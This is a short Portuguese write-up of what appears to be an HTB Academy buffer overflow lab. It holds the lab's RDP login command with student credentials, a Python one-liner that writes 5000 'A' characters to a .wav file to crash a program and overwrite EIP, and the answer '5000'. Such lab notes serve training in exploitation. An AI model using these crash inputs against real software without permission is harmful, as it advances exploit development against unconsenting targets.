Questões

1. Tente confundir o programa com arquivos '.wav' com incrementos de 1000 bytes '1000, 2000, 3000...' e encontre o menor tamanho de carga útil que trava o programa e substitui o EIP por '41414141'.

Acessar remotamente o Windows

xfreerdp /v:10.129.43.22 /u:htb-student /p:Academy_student! /dynamic-resolution

Fuzzing do programa com os arquivos abertos

python -c "print('A'*5000, file=open('fuzz.wav', 'w'))"

Depois de tentar todos os incrementos sugeridos, o menor tamando de carga útil que trava o programa e substitui o EIP por '4141414141' é o valor '5000'